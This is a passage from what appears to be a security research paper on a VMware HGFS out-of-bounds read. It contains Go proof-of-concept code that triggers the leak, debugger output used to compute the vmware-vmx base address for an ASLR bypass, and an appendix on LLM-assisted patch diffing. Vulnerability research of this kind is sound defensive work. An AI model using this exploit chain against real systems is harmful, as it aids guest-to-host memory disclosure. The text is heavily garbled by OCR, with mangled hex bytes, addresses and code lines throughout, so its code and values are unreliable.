Ox00, Ox00, Ox00, Ox00, Ox00, Ox00, Ox00, 0x00, Ox00, Ox00, Ox00, 0x00, Ox00, 0x00, Ox00,
Ox00, Ox00, 0x00, Ox00, Ox00, Ox00, Ox00, 0x00, Oxf8, Ox07, Ox00, 0x00, Ox00, 0x00, 0x00,
Ox00, Ox00, Ox00, Ox00, Ox00, Ox00, Ox00, Ox00, Ox00, O0x00, Ox00, 0x00, 0x00, }

This allowed us to modify the go lang code to send the trigger packet which would cause the leak to occur (which
can be seen in the following paragraphs).

5.2. Leak Value Experimentation

Initial experimentation with the leak led to discovering that modifying the payload length appended to "11111111" in
the “SetGuestinfo” command influenced values or pointers in the heap to effectively be “pushed forward” in such a
way that a session ID response would include pointer data from the vmx process.

While the exact mechanism or logic was not determined into how the leak manifests with respect to the length of
the payload and the header size, trial and error was used to determine what specific lengths on the VMWare
Workstation 17.6.2 would allow leaked pointers to be returned as session ID.


http://www.nccgroup.com/

logger.Info("Setting Guest Info...")

{/rpcil, err := makeRequestWithNewChannel(logger, []byte(fmt.Sprintf("SetGuestInfo
{/rpcil, err := makeRequestWithNewChannel(logger, []byte(fmt.Sprintf("SetGuestInfo
payloadStr := "11111111" + strings.Repeat("A", 58573)

%d %d", 7, 11111111)))
%d %s", 7, "11111111WeeTH

rpcil, err := makeRequestWithNewChannel(logger, []byte(fmt.Sprintf("SetGuestInfo Xd ¥s", 7, payloadstr}))

if err != nil {
stopRPcis(rpcil)
svc.Stop()
svc.Wait(ﬂ
return nil, err

The packetSize and headerSize values were increased from 0xC5A5 and 0xC5A4 (1 byte difference) to C5AE and
C5AD (also 1 byte difference). Since the packetSize and headerSize are now increased by 9, the total payload size

was increased from 50573+24 to 50582+24 in the fhandler function.

func (s *Service) fhandler(args []byte) ([]byte, error) {
s.logger.Info("fcommand called", "args", string(args))
//payload := make([]byte, 58573+24)
payload := make([]byte, 58582+24)

copy(payload, []byte{exee, 0x80, 8xe8, Oxee, exFF, exee, ox88, Pxes, 8xAE, ©xC5, °x8e, oOxee, B8xAD, exC:, exea,

if len(args) » 3648 {

session := make([]byte, 8)

copy(session, args[36:44]ﬂ

select {

case s.sessionChan <- sessiom:

default:

}

value := binary.LittleEndian.Uint64(session)

s.logger.Info("Leaked session", "session™, fmt.Sprintf("%816x", wvalue))

}

return payload, nil
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6. Crafting ASLR Bypass Primitive

From here, WinDbg was used to determine what type of pointer was being leaked and if this could be used to
determine the ASLR slide.

® 5 =

.text:00007FF6E825CA2F

.text:00007FF6E825CA2F loc 7FF6E825CA2F:
.text:00007FF6E825CA2F ; _ unwind { // _ GSHandlerCheck
.text:00007FF6E825CA2F mov [rsp+@B8h+var_ 18], rbx
.text:00007FF6E825CA37 lea rcx, asSuccessfullyC ; "%s: Successfully created the session.\n"
.text:00007FF6E825CA3E mov rbx, [rsp+@B8h+payload ptr]
.text:00007FF6E825CA43 call log function
.text:00007FF6E825CA48 mov rax, [rbx]
.text:00007FF6E825CA4B movzx edx, [rsp+@B8h+version]
.text:00007FF6E825CA50 mov [rdi+@C548h], rax
.text:00007FF6E825CA57 mov dword ptr [rdi+0C5760h], 1
.text:00007FF6E825CA61 mov eax, [rbx+@Ch]
.text:00007FF6E825CA64 mov rbx, [rsp+@B8h+var 18]
.text:00007FF6E825CA6C mov [rdi+0C558h], eax
.text:00007FFBE825CAGC ; } // starts at 7FFGE825CAZF

After some experimentation, it was determined that the pointer being leaked was consistent between reboots and
only varied between 0xe0000 and 0x15e0000 for the lower 4 bytes of the leaked pointer.

---RBX Dump---

PoPEeRee edd1f18e
P0eeP00e odd1f190
0P Bdd1flae
P0eePRee” edd1fibe
00000000 0dd1lflice
PR edd1flde
P0eeP000 0ddlfled
0P Bddi1fife
P0eePRee” odd1f200
P0eeP00e addi1f21e
PePeeRee odd1f220

Because of this consistency, a simple parser could be written to both detect when the pointer had been leaked as

eeRR7ff7 e3500000
POBPROBO Be230C30
POOPLRE Pe230C30
PP640061 009350031
90370039 0031005t
PO730079 00730062
PB370039 00310064
PO300031 0B5fRBT76
PO370031 00320026
PB260030 00260036
PP390036 0O7boB23

well as trivially calculate the base address of vmware-vmx.

@P855190 eaf7ccc?
0PO0eee0 Pdf45a90
0eOORRe Bdfa45a90
PR760065 POHAPO26
0B750073 00260035
00610035 0P3100e5T
PP650072 00260035
00350023 0P310030
PP640033  PRE50062
00310030 PO300030
00640061 0P340039
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0:019> u 0eRE7TT7 e3500000
vmware Vmx+0xe0eoe:

0eee7TT7 3500000 ©0488b add byte ptr [rax-75h],cl

0Pee7 17 e3500003 de488d ror byte ptr [rax-73h],1

eRea7ff7 3500006 ©d65178a00 or eax, 8A1765h

eeee7f 7 e350008b e8aB3e5boe call vmware vmx+@x693ebe (00007117 e3ab3ebd)
0000717 3500010 488b13 mov rdx,qword ptr [rbx]

epea7ff7 3500013 4885d2 test rdx, rdx

0eee7TT7 e3500016 746C je vmware vmx+0xe0024 (0000717 e3500024)
0ee7ff7 e3500018 488dedb1178a00 lea rcx, [vmware vmx+0x9817de (eeee7ff7 e3dal7de)]

0:019> Im m vmware_vmx

Browse full module list

start end module name

0000717 3420000 000077 5022000 vmware vmx  (no symbols)
@:019> ? eeee7ff7 e3soeeee - 0ove7ff7 e3420000

Evaluate expression: 917504 = 900GBA0O DOEeDEOV

B 12unch.bat |E new 1 |Etools,conf =] session_values.xt 2 E3
2295 0000000000000000 4141414141410000 4141414141410000
2296 0000000000000000 4141414141410000 4141414141410000
2297 0000000000000000 000000000dbb0000 000000000dbb0O0O00
2298 0000000000000000 4141414141410000 4141414141410000
2299 0000000000000000 4141414141410000 4141414141410000
2300 0000000000000000 000000000e2400000 0000000002400000
2301 0000000000000000 000000000dd10000 000000000dd10000
2302 0000000000000000 000000000e230000 0000000002230000
2303 0000000000000000 4141414141410000 4141414141410000
2304 0000000000000000 DODDTLLETe3500000 00OD7ELTe3500000
2305 0000000000000000 00007L£7e3500000 00007E£7e3500000
2306 0000000000000000 00DOTLET7e3500000 000OT7LET7e3500000
2307 0000000000000000 4141414141410000 4141414141410000
2308 0000000000000000 00007L££7e3500000 00007££7e3500000
23098 0000000000000000 00DOT7L£7=3500000 0O00OT7EE£7=3500000
2310 0000000000000000 DODDIITTE2S00000 00007LL7e3500000

furd
[

0000000000000000 4141414141410000 4141414141410000
0000000000000000 4141414141410000 4141414141410000
0000000000000000 4141414141410000 4141414141410000

LS S N
W oW W
=
[F N

2314 0000000000000000 4141414141410000 4141414141410000
2315 0000000000000000 4141414141410000 4141414141410000
2316 0000000000000000 4141414141410000 4141414141410000
2317 0000000000000000 4141414141410000 4141414141410000
23118 0000000000000000 4141414141410000 4141414141410000
2319 0000000000000000 4141414141410000 4141414141410000
2320 0000000000000000 4141414141410000 4141414141410000
2321 0000000000000000 4141414141410000 4141414141410000
2322 0000000000000000 000000000e030000 0000000002030000
2323 0000000000000000 000000000=030000 000000000=030000
2324 0000000000000000 000000000e030000 000000000e030000
2325 0000000000000000 000000000030000 0000000002030000
2326

This experiment was repeated on Ubuntu 24.04 as well. Because of the portability of the Go code, the PoC worked
out of the box. However, the result of the experiment was that the pointer being leaked came with a different
constraint than when leaked on Windows. While a pointer could be leaked as well, it most often leaked a pointer
from a different memory region and thus more research would be required into perhaps modifying the lengths to
leak out a pointer within vmware-vmx or perhaps use the already leaked value as an ASLR bypass primitive for
vmware-vmx dependencies.

ncc
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Linux leaked value

time=2026-86-09T17:47:31.727-87:08 level=INFO msg="received session value" index=2 session=80888783298058000
time=2826-86-89T717:47:31.727-87:0@ level=INFO msg=dispatching module=nanotoolbox.service command=f

Mapped address spaces:

Start Addr End Addr - Offset Perms objfile
ax653dbcffsess 3dbdi4286e Bxladeee 8x8 r--p fusr/lib/vmware/bin/vmware-vmx
ax653dbd142868 8x653dbdcd788@  exbotéee  8x14deee r-xp  fusr/lib/vmware/bin/vmware-wvmx
ax653dbdcd7e88 653dbelaf@ee  Ox4d2eee8 Oxce2888 r--p  Susr/lib/vmware/bin/vmware-wvmx
ax653dbelaaees 3dbezbfaea 8x18boee ©x11b4ee8 r--p fusr/libfvmware/bin/vmware-vmx
8x653dbe2bs088 653dbe3Bdeos 8x58080 ©x12bf88e rw-p fusr/lib/vmware/bin/vmware-vmx
Bx653dbe36daas 653dbed438068 8x136808 ex8 rw-p
8x653dbed43688 653dbed46868 8x3000 exe r--p
8x653dbed460668 653dbedf7000 @xbieeo Bx8 rw-p
8x653dbedf 7068 653dbedf8868 ax1aee exe8 r--p
ax653dbedf 2008 Sdbeﬁa?aeﬂ 8xafoee 8x8 rw-p
8x653dbe5a7e88 653dbe5a8B88 ax1eee exe8 r--p
8x653dbe5ag088 Bdbe 16808 Bx26e088 Bx8 rw-p
ex653dfd3o8088 x653dfdfi7eee exbryfeee exe rw-p
8x78327c8888008 27c821088 @x210e8 8x8 rw-p
Bx78327c821068 X : poea ex3fdfese Bxe
Bx7832837ffees X . B ax1aee exe
8x783283800000 X : BxB60888 exe
8x7832848000008 X ; } oxe
ax78328436doas X . poe8 ex3cf3ese Bxe
8x7832830000008 X703 8e88 ex4080000 8xe /memfd:pulseaudio (deleted)
Bx78328c006000 X . 2 Bx21680 exe
8x78328c821008 X 29 ex3fdfaeee oxe
8x783290806888 x7083208: 8x2ecBB8 B8x0 ¢ leaked value lacatioﬂ
Bx7832902ec000 X 29 Bx3d120680 exe
Bx7832940080608 X 29482 Bx21880 Bxe
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7.Conclusion

This was a very challenging vulnerability to research that allowed me to understand where the vulnerability is
located and how to trigger it. Ultimately, the mechanism of how the vulnerability was exploited to bypass ASLR was
reverse engineered and successfully reproduced using the modified version of nanotoolbox. Moreover, this project
allowed me to understand how the whole HGFS client/server DnD mechanism works in open-vm-tools and go-vmw-
guestrpc. Continued work on this project would be to perhaps port this Go code to a fully working Windows driver.
In addition to this, more analysis would be needed on different platforms such as Linux to fully determine the
exploitability of this vulnerability. Lastly, testing this implementation on ESXi to see if the payload lengths found in
the blog post are consistent or similar.
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8. Appendix A: Al Patch Diffing

As part of this project, we briefly experimented using LLMs applied to the patch diffing process and reviewing
changes using Microsoft Office 365 copilot (GPT-5).

This was using the naive approach of providing a ghidriff of the vmx binaries between versions 3¢ and 3d.
Initially we provided the following prompt to copilot and reviewed the output:

Attached is a diff between version 3c of VMWare vmx binary and version 3d for VMWare vmx
binary. 3c is the vulnerable version, 3d is a fixed version.

There was a CVE fixed for an issue which was an information disclosure vulnerability due to an
out-of-bounds read in HGFS. A malicious actor with administrative privileges to a virtual machine
may be able to exploit this issue to leak memory from the vmx process.

What could the fix be for this issue and in what function? There are likely more than one issue
fixed within the patch. Do not use any other local context.

This led to the following output:
The information-disclosure fix is a newly added bounds check on a size/length field in the HGFS session
creation and request parsing path.
The check is implemented in FUN_@@ae895@ and enforced by FUN_@@ae897@ (formerly FUN_80ae87b@), and
it is consumed by HGFileCopyCreateSessionCB (FUN_00ae2fc®, formerly FUN_@0ae2e40).

What was vulnerable in v3c

In vmx 3¢, the HGFS path:

HGFileCopyCreateSessionCB
L FUN_@Pae2e40
L FunN_e@ae87be
L FUN_e@aes720

parses guest-supplied data into:

+ asession pointer

+ asize / length value (*param_9, derived from guest input)

Reviewing the answer, Copilot successfully had highlighted the areas of concern in which a manual auditor should
pay attention to; however, the analysis was incorrect in this instance. It did, however, highlight the bounds checking
function which had been added:

ncc
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What changed in v3d (the actual fix)

1. New function added: FUN_@@ae8950

1 byte FUN_88ae8858(uint param_1, ulong param_2)

2 {

3 return -(param_2 < *(ulong *)(&DAT_81123568 + param 1 * 8)) & 7;
4}

What this does:

» Looks up a maximum allowed size for the HGFS operation type (param_1)
+ Compares the parsed length (param_2)

» Returns error 7 if the size is too large

This is a table-driven upper bound, not a heuristic.

And the enforcement function which makes use of the bounds checking function:

2. Enforcement in FUN_@@ae8970 (formerly FUN_@0ae87b0)

New logic:
2 = e
1 ivar3 = *param_7;
2 if (ivar3 == 8) {
3 uvar2 = FUN_@@ae295@(param_ 4, *param_9);
4 if ((int)uvar2 == @) {
5 return uvar;
6 }
7 *param_8 = @;
8 *param_9 = 8;
] return uvar2;
16 }
Effect:

+ If the parsed size exceeds the operation’s maximum:
+ the session pointer is cleared
+ the size is cleared
+ the operation fails immediately

+ No later code can read past allocated memory

Then highlighted what can happen when the session creation fails:
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3. Propagation to HGFileCopyCreateSessionCB

HGFileCopyCreateSessionCB moved from:

FUN_@Qae2ed® - FUN_@Qae2fc@

and now explicitly checks the result of FUN_88ae895@ before creating the session:

1 ivar3 = FUN_@8ae8956(local_3c, local 2@);

2 if (ivar3 == @) {
3 // proceed

4 1} else {

5 // error path
o

}

This ensures:

* No HGFS session is created using invalid sizes

» The vulnerability cannot be reached via alternate paths

Therefore, although the analysis was partially incorrect in this instance (such as referring to the maximum allowed
size), it did highlight areas which with careful auditing and review would lead to discovering the vulnerability.

As this was performed from the ghidriff and using none manually cleaned up or renamed functions. The next
question was can we do any better using cleaned up functions from IDA pro?

We then prompted the LLM with the following:

This is the fixed code cleaned up in the patched version attached. Where was the OOB read
previously and how did this version fix it?

The manually cleaned up code looks as follows:

__fastcall HGFileCopyCreateSessionCB( al, int64 a2, struct_input_data *data,
__int64 data_size)

Vv5;
version_1;
dummy ;

v8;

v9;

v10;

__int64 payload ptr__;
(__fastcall *v12)(__inte64);
v13;

_DWORD *v14;

__int64 payload ptr;
version[4];
status;
flags;
operation;
requestlId;
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char information[4];
unsigned __ int64 payload size;
__int64 sessionlId;

v5 = 0;
status = 0;
version 1 = 1;
version[@] = 1;
payload ptr = 0;
if (a1l || !data || data_size < 8 )
goto LABEL_20;
if ( data_size < @x34 )
{
if ( *(_DWORD *)&data->version == 1 )
{
dummy = data->dummy;
if ( dummy == 7 )
{
if ( *(_DWORD *)(a2 + 50520) > OxF800u )
*(_DWORD *)(a2 + 50520) = 63488;
goto LABEL_19;

}
goto LABEL 21;

}
LABEL_20:
dummy = 7;
LABEL_21:
status = dummy;
goto LABEL_22;
¥
_mm_1fence();
flags = 0;
v8 = extract_struct_data(
data,
data_size,
version,
&sessionld,
&requestId,
&flags,
information,
&operation,
&status,
&payload_ptr,
&payload_size);
if ( flags &% (flags & 2) == @ || v8 || operation != *(_DWORD *)(a2 + 50464) ||
requestId != *(_DWORD *)(a2 + 50516) )
goto LABEL_20;
= validation_function(operation, payload_size);
dummy = v9;
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if (v9 )
{

status

}

else
{
v1le = status;
v = 1;
if ( !status )
{
payload ptr_ = payload ptr;
log_function("%s: Successfully created the session.\n",
"HGFileCopyCreateSessionCB");
version 1 = version[0];
*(_QWORD *)(a2 + 50504) = *(_QWORD *)payload ptr__;
*(_DWORD *)(a2 + 50544) = 1;
*(_DWORD *)(a2 + 50520) = *(_DWORD *)(payload ptr + 12);
LABEL_19:
vl2 = *(void (__ fastcall **)(__int64))(a2 + 50528);
*(_BYTE *)(a2 + 50512) = v5;
*(_BYTE *)(a2 + 50513) = version_1;
vi2(a2);
return;
¥
*(_BYTE *)(a2 + 50512) = 0;
log function("%s: Error (%d)\n", "HGFileCopyCreateSessionCB", v10);
dummy = status;
¥
LABEL_22:
v13 = *(_DWORD *)(a2 + 18560) - 2;
*(_DWORD *)(a2 + 24820) = dummy;
if ( v13 <= 1 &% (*(_BYTE *)(a2 + 18576) & 6) !=0 )
*(_BYTE *)(a2 + 24816) = 1;
if ( *(_DWORD *)(a2 + 18520) == -1 || dummy == 19 )
{
if ( *(_DWORD *)(a2 + 50544) I=1 || dummy == 19 )
{
sub_1407EDE70(a2);

}

else
{
*(_QWORD *)(a2 + 50536) = sub 1407EDE70;
sub_1407EE430(a2);
}
}
else
{
vl4 = *(_DWORD **)(a2 + 18568);
*v14 = 0x80000000;
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v14[1] = 3;
v14[2] = *(_DWORD *)(a2 + 18520);
sub_1407F4F80(*(char **)(a2 + 18568), OxCu, (__int64)sub_1407EE8A@, a2);

}
}

__inte4 _ fastcall extract_struct_data(
struct_input_data *input_data,
unsigned __int64 input_size,
_BYTE *version,

_QWORD *sessionId,
_DWORD *requestId,
_DWORD *flags,

_DWORD *information,
_DWORD *operation,
_DWORD *status,

_QWORD *payload ptr_,
_QWORD *payload size )

unsigned _ int64 packet size;
unsigned int payload size;
char *payload ptr;

if ( input_size < 0x34 )
return 7;
if ( input_data->dummy != 255 )
return 7;
packet_size = input_data->packetSize;
if ( packet_size > input_size || input_data->headerSize > (unsigned int)packet_size )
return 7;
*version = input_data->version;
*sessionId = input data->sessionld;
*requestId = input_data->requestld;
*operation = input_data->op;
*flags = input_data->flags;
*information = input_data->information;
payload size = input_data->packetSize - input data->headerSize;
*payload_size = payload size;
if ( payload_size )
payload ptr = &input data->version + input_data->headerSize;
else
payload ptr 0;
*payload_ptr_ = payload_ptr;
*status = input_data->status;
return 0;
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__inte4  fastcall validation_ function( operation, __int64 payload size)

{

return payload size < gqword_140D2C16@[operation] ? 7 : ©;

This led to much more accurate analysis:

1. Where the OOB read was before the fix

The root cause

In the pre-patch version, the HGFS session creation path trusted a guest-controlled payload size that was

parsed from the incoming packet, without validating it against the operation type.

Concretely, the vulnerable flow was:

HGFileCopyCreateSessionCB
+ extract_struct_data()
L payload_ptr = &input_data + headerSize
L payload _size = packetSize - headerSize // guest controlled

+ use payload_ptr / payload_size later

Why this is dangerous
From extract_struct_data():

ES N Y A N

payload_size = input_data-»packetSize - input_data->headersSize;
*payload_size = payload_size;

if (payload_size)
payload_ptr = &input_data-»version + input_data->headersize;

[V B S T R
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What is checked:

+ packetSize <= input_size

+ headerSize <= packetSize

What is not checked (pre-patch):

+ Whether payload_size is valid for the requested HGFS operation

+ Whether later code will read fields beyond what that operation expects
That means a malicious guest could:

+ Choose a valid packetSize/headerSize combination
+ Produce a payload_size larger than the structure expected by the operation

+ Cause later code to read past the end of the payload buffer

This is a classic OOB read due to semantic length mismatch, not a raw packet overflow.

2. The exact OOB read trigger point

The out-of-bounds read happens after parsing, when the payload is interpreted as an operation-specific

structure.

In HGFileCopyCreateSessionCB (pre-patch logic):

1 payload_ptr__ = payload_ptr;
2 *(QWORD *)(a2 + 58584) = *(QWORD *)payload_ptr__;
3 *(DWORD *)(a2 + 58528) = *(DWORD *)(payload_ptr__ + 12);

O

Then provided details on why this was unsafe pre-patch:

Why this is unsafe pre-patch
Those reads assume:

+ payload_ptr points to a structure at least 16 bytes long
But:

+ payload_size was not validated against the operation type
+ A malicious guest could supply:
+ payload_size < 16 but still pass earlier checks

+ or a payload that is shorter than required for the specific operation

Result:
The vmx process reads past the payload buffer, leaking adjacent heap or stack memory into VM state or

logs.

That is your information disclosure.
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3. How the patched version fixes it

The critical new check
In the patched code:

EC N Y

1 v9 = validation_function(operation, payload_size);

And validation_function() is:

EC N Y

1 inté4 _ fastcall validation_function(int operation, unsigned _ int64 payload_size)

4
:—H|

return payload_size < gqword_148D2C16@[operation] ? 7 : @;

[V Sy
e

2 Each HGFS operation now has a minimum required payload size
4 Stored in a per-operation table
4 Enforced before any payload access

Overall, this was a much better analysis and does once again show potential in SOTA models for performing patch
diffing, especially if symbols or if manual work is performed on the reverse engineered code prior to adding
additional context to it.
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